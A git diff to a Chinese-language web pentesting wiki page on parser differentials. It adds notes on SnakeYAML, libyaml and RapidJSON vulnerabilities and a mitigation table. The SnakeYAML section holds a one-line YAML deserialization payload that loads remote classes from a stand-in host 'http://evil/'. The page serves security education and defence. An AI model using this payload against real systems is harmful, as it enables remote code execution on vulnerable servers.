diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index 766d593b7..553bd3dea 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -50,7 +50,7 @@ IsAdmin bool `json:"-"` ``` ### 解析器差异 -目标是通过利用不同解析器对相同有效负载的不同解释来绕过授权,例如: +目标是通过利用不同解析器如何以不同方式解释相同有效负载来绕过授权,例如: - CVE-2017-12635: 通过重复键绕过 Apache CouchDB - 2022: 通过 XML 解析器不一致性实现 Zoom 0-click RCE - GitLab 2025 通过 XML 特性绕过 SAML @@ -109,20 +109,57 @@ Go 的 XML 解析器 **仍然** 解析了它并信任注入的身份。 } ``` 结果: -- **Go JSON** 解析器: `Action_2` (不区分大小写 + 最后一个胜出) -- **YAML** 解析器: `Action_1` (区分大小写) +- **Go JSON** 解析器:`Action_2`(不区分大小写 + 最后一个优先) +- **YAML** 解析器:`Action_1`(区分大小写) - **XML** 解析器:解析字符串中的 `"Action_3"` +--- -### 🔐 缓解措施 +## 显著的解析器漏洞(2023-2025) -| 风险 | 修复 | -|-----------------------------|---------------------------------------| -| 未知字段 | `decoder.DisallowUnknownFields()` | -| 重复字段(JSON) | ❌ 标准库中没有修复 | -| 不区分大小写的匹配 | ❌ 标准库中没有修复 | -| XML 垃圾数据 | ❌ 标准库中没有修复 | -| YAML:未知键 | `yaml.KnownFields(true)` | +> 以下公开可利用的问题表明,不安全的解析是一个多语言问题——不仅仅是 Go 的问题。 +### SnakeYAML 反序列化 RCE (CVE-2022-1471) + +* 影响:`org.yaml:snakeyaml` < **2.0**(被 Spring-Boot、Jenkins 等使用)。 +* 根本原因:`new Constructor()` 反序列化 **任意 Java 类**,允许导致远程代码执行的 gadget 链。 +* 一行 PoC(将在易受攻击的主机上打开计算器): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* 修复 / 缓解措施: +1. **升级到 ≥2.0**(默认使用 `SafeLoader`)。 +2. 在旧版本中,明确使用 `new Yaml(new SafeConstructor())`。 + +### libyaml 双重释放 (CVE-2024-35325) + +* 影响: `libyaml` ≤0.2.5(许多语言绑定使用的 C 库)。 +* 问题: 调用 `yaml_event_delete()` 两次会导致双重释放,攻击者可以将其转化为 DoS,或者在某些情况下,堆利用。 +* 状态: 上游拒绝作为“API误用”,但 Linux 发行版发布了修补的 **0.2.6**,防御性地将指针置为 null。 + +### RapidJSON 整数(下|上)溢出 (CVE-2024-38517 / CVE-2024-39684) + +* 影响: 腾讯 **RapidJSON** 在提交 `8269bc2` 之前(<1.1.0-patch-22)。 +* 缺陷: 在 `GenericReader::ParseNumber()` 中,未检查的算术运算使攻击者能够构造巨大的数字字面量,这些字面量会环绕并破坏堆——最终在结果对象图用于授权决策时启用特权提升。 + +--- + +### 🔐 缓解措施(更新) + +| 风险 | 修复 / 推荐 | +|-------------------------------------|------------------------------------------------------| +| 未知字段(JSON) | `decoder.DisallowUnknownFields()` | +| 重复字段(JSON) | ❌ 标准库中没有修复 — 使用 [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) 验证 | +| 不区分大小写匹配(Go) | ❌ 没有修复 — 验证结构标签 + 预规范化输入 | +| XML 垃圾数据 / XXE | 使用强化解析器 (`encoding/xml` + `DisallowDTD`) | +| YAML 未知键 | `yaml.KnownFields(true)` | +| **不安全的 YAML 反序列化** | 使用 SafeConstructor / 升级到 SnakeYAML ≥2.0 | +| libyaml ≤0.2.5 双重释放 | 升级到 **0.2.6** 或发行版修补版本 | +| RapidJSON <修补提交 | 编译最新的 RapidJSON(≥2024年7月) | + +## 参考文献 + +- Baeldung – “使用 SnakeYAML 2.0 解决 CVE-2022-1471” +- Ubuntu 安全追踪器 – CVE-2024-35325 (libyaml) {{#include ../banners/hacktricks-training.md}}